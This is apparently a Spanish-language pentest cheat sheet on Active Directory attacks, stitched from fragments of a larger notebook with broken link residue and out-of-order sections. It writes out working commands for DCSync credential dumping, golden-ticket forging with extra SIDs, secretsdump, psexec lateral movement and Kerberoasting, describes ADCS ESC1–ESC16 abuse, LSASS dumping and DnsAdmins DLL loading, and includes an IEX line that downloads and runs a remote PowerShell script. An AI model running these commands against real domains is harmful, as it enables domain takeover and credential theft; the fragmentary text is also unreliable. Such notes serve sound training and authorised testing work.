       DNS Suffix Search List. . . . . . : CORP.LOCAL
    GetUserSPNs.py CORP.LOCAL/user:'password' -request -target-domain CORPORATE.LOCAL -dc-ip 10.10.10.10
    .\mimikatz.exe "lsadump::dcsync /user:CHILD\krbtgt" exit
    Import-Module .\PowerView.ps1
    Get-DomainSID
    Get-DomainGroup -Domain PARENT.LOCAL -Identity "Enterprise Admins" | select distinguishedname,objectsid
    .\mimikatz.exe "kerberos::golden /user:hacker /domain:CHILD.PARENT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt" exit
    .\Rubeus.exe golden /rc4:9d765b482771505cbe97411065964d5f /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689  /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /user:hacker /ptt
    klist
    .\mimikatz.exe "lsadump::dcsync /user:PARENT\Administrator /domain:PARENT.LOCAL" exit
    secretsdump.py child.parent.local/user:'password'@192.168.14.122 -just-dc-user CHILD/krbtgt
    lookupsid.py child.parent.local/user:'password'@192.168.14.122 | grep "Domain SID"
    lookupsid.py child.parent.local/user:'password'@192.168.14.5 | grep -B12 "Enterprise Admins"
    ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain CHILD.PARENT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hacker
    export KRB5CCNAME=$(pwd)/hacker.ccache
    psexec.py CHILD.PARENT.LOCAL/hacker@dc01.parent.local -k -no-pass -target-ip 192.168.14.5
    raiseChild.py -target-exec 192.168.14.5 CHILD.PARENT.LOCAL/user:'password'

    bloodhound-python: pensado para ejecución desde sistemas Linux.

  • RustHound-CE: el collector moderno optimizado para BH-CE.

  • NetExec: permite extraer relaciones básicas directamente desde Linux.

  • certipy-ad: enfocado en la detección de relaciones dentro de entornos con AD CS, exportando en formato compatible con BloodHound CE

  • Cuándo conviene usar cada uno.

  • Instalación paso a paso tanto de BloodHound clásico como de BloodHound CE.

  • Casos prácticos de uso en auditorías reales o entornos simulados.

  • RustHound-CE: pensado para BloodHound Community Edition, con un enfoque más modular y eficiente.

    con la información actualizada del entorno.
    Haremos click en la opción de "Proceed"
  • Ingresaremos la palabra clave para confirmar la eliminación "Please delete my data"

  • Una vez ingresada la palabra de confirmación, le daremos a "Confirm".

  • Si se encuentra habilitado

    Al desplegar el apartado de Member Of de un nodo/objeto (usuario) en este caso, nos aprecerá un esquema de cómo se encuentra distribuido, a qué grupos forma parte, etc.

    En la sección Outbound Object Control, BloodHound muestra los objetos sobre los que tenemos control gracias a permisos ACL. Esto nos permite identificar posibles vectores de ataque, como movimientos laterales o escaladas de privilegios.

    Desde aquí podemos ver relaciones útiles como GenericWrite, WriteDACL, AddMember, entre otras, que nos dan acceso directo a otros usuarios, grupos o equipos del dominio.

    Tenemos una gran lista de ACLs interesantes para atacar en Abusing Active Directory ACLs/ACEs.

    En la sección Inbound Object Control, BloodHound muestra qué objetos del dominio tienen control sobre nosotros mediante ACLs.

    Aplicamos filtros si queremos ver solo ciertos tipos de nodos (User, Group o Computer, etc).

  • Se muestra el listado de objetos que pertenecen a ese grupo, junto con su tipo y estado.

  • Al hacer clic sobre un nodo, se despliega su información detallada en la parte derecha: nombre, SID, SO, último logon, delegaciones, etc.

  • Esta sección permite llevar control visual de los objetivos comprometidos y planificar próximos movimientos dentro del dominio.

  • Principales con privilegios peligrosos (DCSync, GenericAll, etc.)
    KRB_AP_ERR_SKEWarrow-up-right
    http://localhost:8080arrow-up-right
    http://localhost:8080arrow-up-right
    http://localhost:7474arrow-up-right
    http://localhost:7474arrow-up-right
    http://localhost:7474arrow-up-right
    Permite autenticarse silenciosamente y moverse lateralmente o escalar privilegios.
    Mantener persistencia incluso si el usuario cambia su contraseña.
  • Obtener el hash NTLM del objetivo si consigue acceso al PAC o si la cuenta comprometida tiene privilegios elevados.

  • Si la cuenta comprometida tiene permisos de replicación en el dominio, ejecutar un ataque DCSync para dumpear todos los hashes del dominio.

  • Utilizar esos hashes para realizar Pass-the-Hash u otras técnicas de post-explotación.

  • PKINITarrow-up-right
    Shadow Credentialsarrow-up-right
    Asignar las Shadow Credentials
    Solicitud del TGT
    Exportar en nuestra sesión el TGT
    Recuperación del hash NTLM
    Shadow Credentialsarrow-up-right

    Podemos configurar un SPN ficticio en una cuenta de destino, solicitar un ticket de servicio (TGS), luego obtener su hash y realizar Kerberoasting Attack. Disponer de permisos de GenericAll o GenericWrite


    • Podemos asignar a un usuario la flag de (DONT_REQ_PREAUTH), solicitar un ticket (TGT), luego obtener un hash y realizar AS-REP Roast. Disponer de permisos de GenericAll o GenericWrite


    • Modificar la contraseña de otro usuario. Disponer de permisos de GenericAll


    • WriteProperty en un ObjectType, que en este caso particular es Script-Path, permite al atacante sobrescribir la ruta del script de inicio de sesión del usuario delegado, lo que significa que la próxima vez que el usuario delegado inicie sesión, su sistema ejecutará nuestro script malicioso. Disponer de permisos de GenericAll o GenericWrite


    hashtag
    Group

    • Agregarnos a nosotros mismos a un grupo o a otro usuario del dominio.


    hashtag
    WriteDACL

    Este permiso permite modificar la Lista de Control de Acceso Discrecional (DACL) de un objeto, lo que habilita al usuario cambiar los permisos asociados. Un atacante con WriteDACL podría concederse privilegios adicionales o revocar accesos legítimos, comprometiendo la seguridad del sistema.

    • WriteDACL en el Dominio


    • WriteDACL en un grupo


    hashtag
    WriteOwner

    Un atacante puede convertirse en propietario de un objeto. Una vez que el propietario haya sido modificado por uno el cual el atacante dispone de acceso, este puede manipular el objeto teniendo control absoluto sobre él.


    hashtag
    ReadLAPSPassword

    Si un atacante dispone de un usuario con privilegios de ReadLAPSPassword, este puede leer la contraseña de LAPS del equipo al cual se aplica este ACL.


    hashtag
    ReadGMSAPassword

    Si un atacante dispone de un usuario con privilegios de ReadGMSAPassword, este puede leer la contraseña de GMSA del equipo al cual se aplica este ACL.


    hashtag
    ForceChangePassword

    Si un usuario dispone del ACL ForceChangePassword sobre un usuario, este puede modificar la contraseña del usuario objetivo sin necesidad de conocer la que dispone actualmente.


    hashtag
    Organizational Units ACL

    Los ACLs en Organizational Units (OUs) pueden explotarse para comprometer todos los objetos contenidos en ellas.

    Objetos no privilegiados

    Un usuario con permisos GenericAll o WriteDACL sobre una OU puede añadir una ACE con FullControl e herencia activada, comprometiendo todos los objetos hijos al heredar dicha ACE.

    GenericWrite over a user
    GenericWrite over a group
    ForceChangePasswordarrow-up-right
    ForceChangePasswordarrow-up-right
    ForceChangePasswordarrow-up-right
    ForceChangePasswordarrow-up-right

    Active Directory Certificate Services (ADCS)

    hashtag
    Introduction to ADCS

    ADCS es el rol que maneja la emisión de certificados para usuarios, equipos y servicios en la red de Active Directory. Este servicio, si está mal configurado, puede presentar vulnerabilidades que los atacantes podrían explotar para elevar privilegios o acceder a información sensible.

    Algunas de las posibles vulnerabilidades que puede tener ADCS son:

    1. Delegación de privilegios en la emisión de certificados: Si ciertos usuarios tienen permisos para emitir certificados para otros, un atacante podría abusar de estos privilegios para obtener permisos elevados.

    2. Mala configuración en las plantillas de certificados: Configuraciones incorrectas en las plantillas de certificados podrían permitir que un atacante solicite un certificado en nombre de otro usuario, incluso uno con privilegios elevados.

    3. NTLM Relaying en HTTP: Si el ADCS acepta autenticación NTLM en lugar de Kerberos, un atacante podría redirigir las solicitudes para ganar acceso.


    hashtag
    Componentes principales:

    • CA (Certification Authority): Emite y gestiona certificados. Puede haber múltiples CAs en una jerarquía.

    • Certificate Templates: Definen la configuración, permisos y requisitos para emitir certificados.

    • CES (Certificate Enrollment Server): Permite renovar certificados mediante solicitudes HTTPS.


    hashtag
    Formatos de certificados X.509:

    • PEM: Certificado DER codificado en base64; puede almacenar múltiples claves sin protección por contraseña.

    • DER: Certificado en formato binario crudo.

    • PFX/P12 (PKCS#12): Almacena claves privadas con protección por contraseña.


    hashtag
    Principales atributos de certificados:

    • Subject: Entidad a la que se emite el certificado.

    • Issuer: Normalmente la CA.

    • SAN: Nombre alternativo del sujeto.

    hashtag
    Proceso de CSR (Certificate Signing Request):

    1. El cliente envía una solicitud de certificado (CSR).

    2. La CA verifica los permisos del cliente para emitir el certificado solicitado.

    3. Si los permisos coinciden, la CA genera y firma el certificado con su clave privada.


    hashtag
    Checking Misconfigured Templates

    Herramienta que utilizaremos para la escalada de privilegios con los ADCS.

    Para verificar si existen plantillas mal configuradas, las cuales podemos abusar, podemos hacer uso del siguiente comando para que nos lo muestre en la terminal.

    Ejemplo de cómo debería salirnos si existe una plantilla mal configurada en el ADCS que podemos intentar explotar. En este ejemplo, nos aparece que podemos realizar la explotación ESC7.


    hashtag
    KDC_ERR_PADATA_TYPE_NOSUPP

    Es posible que en algún momento obtengamos este mensaje de error al intentar autenticarnos con el certificado PFX del usuario que estamos impersonando, lo que indica que el KDC no admite el tipo de autenticación proporcionado.

    circle-info

    KDC_ERR_PADATA_TYPE_NOSUPP

    “…when a domain controller doesn’t have a certificate installed for smart cards…” is probably the most common reason for KDC_ERR_PADATA_TYPE_NOSUPP. If the DC doesn’t have a “Domain Controller”, “Domain Controller Authentication”, or another certificate with the Server Authentication EKU (OID 1.3.6.1.5.5.7.3.1) installed, the DC isn’t properly set up for PKINIT and authentication will fail.

    Also, according to Microsoft, “This problem can happen because the wrong certification authority (CA) is being queried or the proper CA cannot be contacted in order to get Domain Controller or Domain Controller Authentication certificates for the domain controller.” At least in some cases we’ve been able to auth via PKINIT to a DC even when the CA is not reachable, so this situation may be hit and miss.

    Nos encontramos con varios blogs que mencionan el error KDC_ERR_PADATA_TYPE_NOSUPP, el cual ocurre cuando el controlador de dominio no soporta PKINIT. Esto impide que autenticarnos directamente con el certificado PFX.

    Como alternativa, podemos utilizar PassTheCert para autenticarnos a LDAP a través de SChannel con nuestro certificado. Aunque esto solo nos daría acceso a LDAP, podría ser suficiente si el certificado nos identifica como Administrador de Dominio.

    Lo primero que haremos será extraer la clave privada y el certificado desde el archivo PFX que obtuvimos del usuario Administrator. Para ello, utilizamos Certipy de la siguiente manera. A continuación, haremos uso de la herramienta PassTheCert.py para autentifcarnos con el certificado obtenido.

    Con PassTheCert, utilizamos la clave privada y el certificado generado anteriormente para autenticarnos. En este ejemplo. se nos mostraría el resultado del comando whoami.

    Para poder escalar privilegios y buscar otras maneras. podemos obtener una consola LDAP Shell con el parámetro -action ldap-shell.

    Para ver varios ejemplos del uso de PassTheCert y de cómo logramos obtener acceso al sistema como el usuario Administrator podemos comprobar el siguiente blog.

    hashtag
    ESC1

    hashtag
    Domain Users Enrollment

    Solicitud del certificado con SAN alternativo.

    circle-info

    Probar el UPN como administrator@dominio.htb o sino administrator.

    circle-info

    En caso de recibir error de The NETBIOS connection with de remote host timed out, probar de nuevo a ejecutarlo.

    Autenticación con certificado.

    hashtag
    Domain Computers (Machine Account)

    En algunas ocasiones, es posible que exista la ESC1 pero solamente se pueda realizar a través de algún Domain Computer. En este resultado de adPEAS se comprueba que solamente los Domain Computers tienen permisos de enrollment sobre la plantilla vulnerable para realizar el ESC1.

    Por lo tanto, hay que disponer de las credenciales de un equipo, que se pueden obtener de diversas maneras. En caso de que podemos añadir nuevas máquinas al dominio, podemos realizar lo siguiente a través de la herramienta de .

    Una vez dispongamos de acceso a autenticarnos como un Domain Computer, realizaremos el ataque. Sustituir Gzzcoo$ por el nombre del PC y la contraseña Gzzcoo123 por la correspondiente.

    Autenticación con certificado.


    hashtag
    ESC2

    Solicitud del certificado con SAN alternativo.

    Autenticación con certificado.

    Verificación.


    hashtag
    ESC3

    Solicitar un certificado.

    Solicitar un certificando suplantando al Administrator.


    hashtag
    ESC4

    circle-info

    En caso de recibir error de The NETBIOS connection with de remote host timed out, probar de nuevo a ejecutar los comandos.

    Atacando a la plantilla vulnerable a ESC4.

    Verificar plantilla ESC4 después de la modificación.

    Abusando de la plantilla modificada.

    Recuperando el hash NTLM del usuario Administrator.

    Volviendo la plantilla ESC4 al estado original.


    hashtag
    ESC5

    Solicitar el certificado del Domain Admin.

    Emitir el certificado solicitado.

    En este caso, aprobamos la solicitud anterior especificando el ID de la solicitud con la opción -issue-request 10.

    Recuperar el certificado emitido.

    Autenticarse con el certificado del Administrator.


    hashtag
    ESC6

    Solicitud de certificado con UPN alternativo, en este caso, el usuario Administrator.


    hashtag
    ESC7

    Requisitos previos

    Para que esta técnica funcione, el usuario también debe tener el derecho de acceso Administrar certificados y la plantilla de certificado SubCA debe estar habilitada. Con el derecho de acceso Administrar CA, podemos cumplir con estos requisitos previos.

    La técnica se basa en el hecho de que los usuarios con el derecho de acceso Administrar CA y Administrar certificados pueden emitir solicitudes de certificado fallidas. La plantilla de certificado SubCA es vulnerable a ESC1, pero solo los administradores pueden inscribirse en la plantilla. Por lo tanto, un usuario puede solicitar inscribirse en la SubCA (que será denegada) pero luego el administrador la emitirá.

    Si solo tiene el derecho de acceso Administrar CA, puede otorgarse el derecho de acceso Administrar certificados agregando a su usuario como un nuevo funcionario.

    La plantilla SubCA se puede habilitar en la CA con el parámetro -enable-template. De manera predeterminada, la plantilla SubCA está habilitada.

    Ataque

    Si hemos cumplido con los requisitos previos para este ataque, podemos comenzar solicitando un certificado basado en la plantilla SubCA.

    Esta solicitud será rechazada, pero guardaremos la clave privada y anotaremos el ID de la solicitud.

    Con Administrar CA y Administrar certificados, podemos emitir la solicitud de certificado fallida con el comando ca y el parámetro -issue-request.

    Y finalmente, podemos recuperar el certificado emitido con el comando req y el parámetro -retrieve . Obtenemos el certificado del Administrator.


    hashtag
    ESC8

    Certipy relay

    Realizar la Autenticación Coercion (desde otra terminal)

    Esto nos dará el certificado y la clave privada del usuario.

    Solicitar un TGT como máquina de equipo (o Domain Controller)

    Esto nos dará el hash NTLM del usuario, que podemos usar para autenticarnos.

    Dependiendo de la situación, ahora tenemos 2 ataques posibles...

    DCSync (si disponemos de permisos de Administradores del dominio)

    Realizando DCSync Attack utilizando el hash NTLM como Domain Controller.

    Silver Ticket (utilizando el hash NTLM de una cuenta de equipo)

    Creación del Silver Ticket

    Realizando PassTheTicket con PsExec


    hashtag
    ESC9

    Requisitos:

    • GenericWrite o GenericAll sobre cualquier A para comprometer a la cuenta B.

    En este caso 'hacker' dispone de los privilegios sobre 'victim'. El usuario 'victim' tiene permisos para realizar el ESC9.

    Conseguir hash NTLM del usuario 'victim' a través de ShadowCredentials ya que el usuario 'hacker' dispone de los permisos necesarios sobre el usuario 'victim'.

    Utilizamos Certipy para actualizar el UPN de la cuenta 'victim', asignándole el valor de Administrator. Esto nos permite asociar cualquier certificado emitido a 'victim' con la identidad de Administrator:

    Solicitamos un certificado utilizando la plantilla vulnerable. Este certificado se emitió con el UPN de Administrator, habilitando su uso para autenticación con privilegios elevados.

    Posteriormente, restauramos el UPN de 'victim' a su valor original para minimizar evidencias de la modificación realizada.

    Seguidamente utilizamos el certificado emitido para autenticarnos y verificamos que obtenemos el hash NTLM del usuario "Administrator".


    hashtag
    ESC10

    Caso 1

    Requisitos:

    • GenericWrite o GenericAll sobre cualquier A para comprometer a la cuenta B.

    En este caso 'hacker' dispone de los privilegios sobre 'victim'. El usuario 'victim' tiene permisos para realizar el ESC10.

    Conseguir hash NTLM del usuario 'victim' a través de ShadowCredentials ya que el usuario 'hacker' dispone de los permisos necesarios sobre el usuario 'victim'.

    Modificar el UPN del usuario 'victim' al usuario Administrator.

    Solicitud del certificado.

    Revertiremos los cambios del usuario 'victim' (para asegurarse de que solo el administrador coincida con el certificado)

    Autenticarse como usuario Administrator.

    Caso 2

    Requisitos:

    • GenericWrite o GenericAll sobre cualquier A para comprometer a la cuenta B sin que disponga un userPrincipalName (cuentas de máquina y administrador de dominio integrado Administrador.

    En este caso 'hacker' dispone de los privilegios sobre 'victim' y deseamos comprometer el Domain Controller DC$@domain.htb.

    Conseguir hash NTLM del usuario 'victim' a través de ShadowCredentials ya que el usuario 'hacker' dispone de los permisos necesarios sobre el usuario 'victim'.

    Modificamos el UPN del usuario 'victim' a 'DC$@dominio.htb'.

    Solicitamos un certificado como 'victim' para obtener el certificado del Domain Controller (DC).

    Revertir los cambios de 'victim' (para asegurarse de que solo el administrador coincida con el certificado).

    Autenticación con el certificado del DC.

    Creación de una nueva cuenta de equipo.

    Abusar de RBCD (Resource Based Constrained Delegation) para impersonar al Administrator.

    Autenticarse utilizando el TGT del usuario Administrator.


    hashtag
    ESC11

    Configuramos el relay

    Autenticación Coerce con PetitPotam

    Certipy recibe autenticación del DC de AD

    A continuación, se deberá realizarlos pasos del


    hashtag
    ESC12


    hashtag
    ESC13

    Desde sistemas tipo UNIX, esta solicitud de extracción en Certipy (Python) permite identificar una plantilla de certificado con una política de emisión, es decir, con la propiedad msPKI-Certificate-Policy no vacía. Además, verifica si esta política de emisión tiene un enlace de grupo OID a un grupo en la propiedad msDS-OIDToGroupLink.

    Si se encuentra una plantilla vulnerable, no hay ningún requisito de emisión particular, el principal puede inscribirse y la plantilla indica el EKU de autenticación del cliente; solicite un certificado para esta plantilla con Certipy (Python) como de costumbre:

    Luego, el certificado se puede usar con Pass-the-Certificate para obtener un TGT y autenticarse como el principal controlado, pero con sus privilegios agregados a los del grupo vinculado.


    hashtag
    ESC14

    hashtag
    Scenario A: Write altSecurityIdentities on Target

    Comprobar que con el usuario (userA) tengamos permisos de escritura en el atributo altSecurityIdentities en el usuario TARGET (userB).

    Crearemos un nuevo Domain Computer.

    Autenticamos con el Domain Computer recién creado para obtener su PFX.

    Obtener el .crt del certificado PFX del Domain Computer recién creado.

    Script para obtener el X509 a travésdel issuer y el serial.

    Resultado obtenido al ejecutar el script.

    Modificamos el atributo altSecurityIdentities del userB a través del userA ya que disponemos de permisos y le asignamos el valor X509 anteriormente obtenido.

    Una vez modificado, nos autenticamos con el PFX del Domain Computer creado impersonando al userB, obtenemos su hash NTLM y su TGT (.ccache).


    hashtag
    ESC15


    hashtag
    ESC16

    triangle-exclamation

    Nota muy importante: disponer de la última versión de certipy para que aparezca. Actualmente (5.0.2)

    Output:

    hashtag
    Scenario A: UPN Manipulation (Requires StrongCertificateBindingEnforcement = 1 (Compatibility) or 0 (Disabled) on DCs, and attacker has write access to a "victim" account's UPN)

    # Step 1: Read initial UPN of the victim account (Optional - for restoration).

    Step 2: Update the victim account's UPN to the target administrator's sAMAccountName.

    Step 3: (If needed) Obtain credentials for the "victim" account (e.g., via Shadow Credentials).

    En caso de disponer de las credenciales de victim, pasar directamente al paso 4.

    Step 4: Request a certificate as the "victim" user from any suitable client authentication template (e.g., "User") on the ESC16-vulnerable CA.

    En caso de haber realizado el Shadow Credentials (Step 3) realizar los siguientes pasos.

    En caso de disponer de las credenciales de victim y no haber realizado el Step 3, realizar lo siguiente:

    Step 5: Revert the "victim" account's UPN.

    Step 6: Authenticate as the target administrator.


    hashtag
    References

    • Abusing Active Dierctory Certificate Services Explication -->

    • Abusing ADCS Attacks (ADMinions) -->

    • Abusing ACS Attacks (The Hacker Recipes) -->

    Attacking Kerberos

    hashtag
    AS-REP Roast Attack

    Sí disponemos de un listado de usuarios válidos, realizar AS-REP Roast Attack para conseguir un Ticket Granting Ticket (TGT) y luego crackear su hash para obtener su contraseña.

    Este ataque hace una consulta al DC si alguno de los usuarios que disponemos en el listado, tiene la flag de (DONT_REQ_PREAUTH) de Kerberos.

    El ataque se puede intentar más veces si a lo largo encontramos más usuarios válidos. Desde BloodHound podemos ver los usuarios que tengan esta condición.


    hashtag
    Kerberoasting Attack

    Si disponemos de credenciales válidas de un usuario del dominio, podemos efectuar un Kerberoasting Attack para conseguir un Ticket Granting Service (TGS) de un usuario que tenga asignado un servicePrincipalName (SPN).

    Este hash obtenido, podemos intentar crackearlo para obtener sus credenciales en texto plano.

    triangle-exclamation

    Existe una excepción para realizar el Kerberoasting Attack sin disponer de credenciales.

    Si sabemos que hay la existencia de un usuario que sea AS-REP Roast, es decir, que el usuario tenga la flag de (DONT_REQ_PREAUTH) habilitada, también podremos realizar este ataque sin disponer credenciales válidas.

    En este caso, el usuario llamado usuarioASREP es susceptible a un AS-REP Roast, es decir, dispone de la flag (DONT_REQ_PREAUTH) de Kerberos habilitada.

    Por lo tanto, podemos efectuar un Kerberoasting Attack sin disponer de credenciales válidas del dominio, pero teniendo un usuario que sea susceptible a AS-REP Roast.

    Para más información, se puede consultar el siguiente blog en el cual explican el descubrimiento de este método.

    Kerbrute

    hashtag
    Introducción

    Una herramienta para realizar una fuerza bruta rápida y enumerar cuentas válidas de Active Directory a través de la autenticación previa Kerberos.

    hashtag
    Instalación y guía de uso

    Clonar repositorio de GitHub.

    Guía detallada a través del siguiente blog.

    triangle-exclamation

    MUY IMPORTANTE TENER LA HORA DE NUESTRO EQUIPO CON LA DEL DOMAIN CONTROLLER

    hashtag
    Users Enumeration


    hashtag
    Password Spraying and Brute Force

    Impacket

    hashtag
    AS-REP Roast (GetNPUsers)

    # AS-REP Roasting a través de un listado de usuarios en 'users.txt'
    impacket-GetNPUsers -no-pass -usersfile users.txt dominio.htb/ 2>/dev/null
    
    # AS-REP Roasting para un usuario en concreto
    impacket-GetNPUsers dominio.htb/usuer -no-pass 2>/dev/null

    hashtag
    Kerberoasting Attack (GetUserSPNs)


    hashtag
    Obtaining Ticket Granting Ticket [TGT] (getTGT)


    hashtag
    Resource Based Constrained Delegation [RBCD] (getST)

    ldapsearch

    ldapsearch es una herramienta de línea de comandos utilizada para realizar búsquedas en un servidor LDAP. Sirve para consultar información almacenada, como usuarios, grupos, correos electrónicos o cualquier otro dato que administre el directorio.


    hashtag
    Authentication

    # Autenticación básica
    ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' 
    
    # Autenticación mediante Kerberos (hay que exportar antes el TGT en el KRB5CCNAME)
    ldapsearch -H ldap://dc.domain.htb -Y GSSAPI

    hashtag
    Enumerating LDAP with ldapsearch

    # Identificación del nombre de dominio

    # Enumerar LDAP en busca de contenido que contenga "pwd|password"

    # Enumerar objetos en LDAP sobre aquellos objetos que tengan datos en el campo "info"

    # Leer LAPS Password

    # Enumerar usuarios que comiencen por "m.lov"

    # Enumerar usuarios que contengan las palabras "lov"

    # Enumerar usuarios que acaben por "god"

    # Enumerar usuarios a través de LDAP

    # Enumerar usuarios del AD y mostrar a que grupo forman parte

    # Enumerar equipos del AD con toda su información

    # Enumerar miembros del grupo 'Moderators' de ejemplo

    # Enumerar campos importantes sobre el usuario llamado 'user'

    PowerView.py

    hashtag
    Introduction

    PowerView.py es una alternativa al fantástico script original PowerView.ps1. La mayoría de los módulos utilizados en PowerView están disponibles aquí (algunos de los indicadores han cambiado). El objetivo principal es lograr una sesión interactiva sin tener que autenticarse repetidamente en LDAP.

    hashtag

    bloodyAD

    hashtag
    Introduction

    Esta herramienta puede realizar llamadas LDAP específicas a un controlador de dominio para realizar escalada de privilegios en AD.

    En Kali Linux la herramienta se puede instalar simplemente a través del siguiente comando.

    LSASS

    hashtag
    Introduction

    El proceso LSASS (Local Security Authority Subsystem Service) se encarga de gestionar la autenticación y las políticas de seguridad en Windows. Al hacer un dump de este proceso, es posible extraer credenciales como hashes de contraseñas, tickets Kerberos o contraseñas en texto claro. Esto lo convierte en un objetivo crítico durante actividades de post-explotación. Herramientas como Mimikatz o pypykatz permiten analizar y extraer esta información de los archivos de volcado.


    DnsAdmins to DomainAdmin

    hashtag
    Introduction

    El grupo DnsAdmins en Windows permite gestionar el servicio DNS en controladores de dominio. Sin embargo, los usuarios de este grupo pueden cargar y ejecutar una DLL personalizada con privilegios elevados a través de funciones del servicio DNS. Esto lo convierte en un método viable para la escalación de privilegios en entornos de Active Directory.


    AD Recycle Bin Group

    Formando parte de este grupo, podemos enumerar objetos eliminados del Active Directory, en este caso, usuarios. En algunos casos, es posible que existan usuarios temporales que hayan sido creados para pruebas y tengan algún campo que nos pueda interesar.

    PoC - HTB Cascade

    Credential Hunting

    Una vez que tenemos acceso a una máquina Windows (por RDP o CLI), es buena idea buscar credenciales. Esto se llama Credential Hunting y consiste en revisar el sistema en busca de contraseñas guardadas en archivos, aplicaciones o configuraciones.

    En este caso, accedimos al equipo de un administrador de IT con Windows 10, así que hay alta probabilidad de encontrar credenciales valiosas.

    Windows y muchas apps tienen funciones de búsqueda integradas, así que podemos aprovechar eso para buscar términos como:

    Passwords
    Passphrases
    Keys

    Abusing Tokens

    hashtag
    SeImpersonatePrivilege

    El privilegio SeImpersonatePrivilege permite a un usuario ejecutar programas en nombre de otro, es decir, impersonar a un cliente. Fue introducido en Windows 2000 SP4 y está asignado a miembros del grupo de administradores locales, cuentas de servicio local y otros servicios específicos (como COM y RPC). Su propósito es evitar que servidores no autorizados impersonen a los clientes que se conectan a ellos. Este privilegio puede ser explotado para ganar control o ejecutar acciones con los permisos de un usuario más privilegiado.

    Via APT
    sudo apt install bloodhound.py -y
    Via PIP
    pip install bloodhound
    Via PIPX
    pipx install bloodhound
    Via cloning repository
    git clone https://github.com/dirkjanm/BloodHound.py
    pip install .
    sudo timedatectl set-ntp 0
    sudo ntpdate -s 10.10.10.10
    bloodhound-python -u 'user' -p 'Gzzcoo123' -d 'dominio.htb' -ns 10.10.10.10 -dc 'dc01.dominio.htb' --zip -c All
    bloodhound-python -u 'user' --hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -d 'dominio.htb' -ns 10.10.10.10 -dc 'dc01.dominio.htb' --zip -c All
    bloodhound-python -u 'user' -k -no-pass -d 'dominio.htb' -ns 10.10.10.10 -dc 'dc01.dominio.htb' --zip -c All --auth-method kerberos
    cargo install rusthound-ce
    rusthound -d dominio.htb -i 10.10.10.10 -u 'user@domino.htb' -p 'Password01!' -z
    rusthound -d dominio.htb -i 10.10.10.10 -u 'user@domino.htb' -p 'Password01!' -z --adcs --old-bloodhound
    rusthound -d dominio.htb -i 10.10.10.10 -k -f dc01.dominio.htb -z
    rusthound -d dominio.htb -i 10.10.10.10 -k -f dc01.dominio.htb -z --adcs --old-bloodhound
    IEX(New-Object Net.WebClient).downloadString("https://raw.githubusercontent.com/SpecterOps/BloodHound-Legacy/master/Collectors/SharpHound.ps1")
    . .\SharpHound.ps1
    Import-Module .\SharpHound.ps1
    Invoke-BloodHound -CollectionMethods All -Domain contoso.com
    .\SharpHound.exe --CollectionMethods All
    nxc ldap 10.10.10.10 -u 'user' -p 'Password01!' --bloodhound --collection All --dns-server 10.10.10.10
    nxc ldap 10.10.10.10 -u 'user' -H 'fbaa3e2294376dc0f5aeb6b41ffa52b7' --bloodhound --collection All --dns-server 10.10.10.10
    nxc ldap dc.dominio.htb -u 'user' -p 'password' -k --bloodhound --collection All --dns-server 10.10.10.10
    nxc ldap dc.dominio.htb --usekcache --bloodhound --collection All --dns-server 10.10.10.10
    LDAP (Puerto 389)
    certipy-ad find -u 'user@dominio.htb' -p 'Password01!' -bloodhound -dc-ip 10.10.10.10 -scheme ldap
    LDAPS (Puerto 636)
    certipy-ad find -u 'user@dominio.htb' -p 'Password01!' -bloodhound -dc-ip 10.10.10.10
    LDAP (Puerto 389)
    certipy-ad find -u 'user@dominio.htb' -hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -bloodhound -dc-ip 10.10.10.10 -scheme ldap
    LDAPS (Puerto 636)
    certipy-ad find -u 'user@dominio.htb' -hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -bloodhound -dc-ip 10.10.10.10
    LDAP (Puerto 389)
    certipy-ad find -k -no-pass -bloodhound -target dc.dominio.htb -dc-ip 10.10.10.10 -debug -scheme ldap
    LDAPS (Puerto 636)
    certipy-ad find -k -no-pass -bloodhound -target dc.dominio.htb -dc-ip 10.10.10.10 -debug
    LDAP (Puerto 389)
    certipy-ad find -u 'user@dominio.htb' -p 'Password01!' -old-bloodhound -dc-ip 10.10.10.10 -scheme ldap
    LDAPS (Puerto 636)
    certipy-ad find -u 'user@dominio.htb' -p 'Password01!' -old-bloodhound -dc-ip 10.10.10.10
    LDAP (Puerto 389)
    certipy-ad find -u 'user@dominio.htb' -hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -old-bloodhound -dc-ip 10.10.10.10 -scheme ldap
    LDAPS (Puerto 636)
    certipy-ad find -u 'user@dominio.htb' -hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -old-bloodhound -dc-ip 10.10.10.10
    LDAP (Puerto 389)
    certipy-ad find -k -no-pass -old-bloodhound -target dc.dominio.htb -dc-ip 10.10.10.10 -debug -scheme ldap
    LDAPS (Puerto 636)
    certipy-ad find -k -no-pass -old-bloodhound -target dc.dominio.htb -dc-ip 10.10.10.10 -debug
    sudo apt update -y && sudo apt install docker-compose -y
    curl -L https://ghst.ly/getbhce -o docker-compose.yml
    docker-compose.yml
    # Copyright 2023 Specter Ops, Inc.
    #
    # Licensed under the Apache License, Version 2.0
    # you may not use this file except in compliance with the License.
    # You may obtain a copy of the License at
    #
    #     http://www.apache.org/licenses/LICENSE-2.0
    #
    # Unless required by applicable law or agreed to in writing, software
    # distributed under the License is distributed on an "AS IS" BASIS,
    # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
    # See the License for the specific language governing permissions and
    # limitations under the License.
    #
    # SPDX-License-Identifier: Apache-2.0
    
    services:
      app-db:
        image: docker.io/library/postgres:16
        environment:
          - PGUSER=${POSTGRES_USER:-bloodhound}
          - POSTGRES_USER=${POSTGRES_USER:-bloodhound}
          - POSTGRES_PASSWORD=${POSTGRES_PASSWORD:-bloodhoundcommunityedition}
          - POSTGRES_DB=${POSTGRES_DB:-bloodhound}
        # Database ports are disabled by default. Please change your database password to something secure before uncommenting
        # ports:
        #   - 127.0.0.1:${POSTGRES_PORT:-5432}:5432
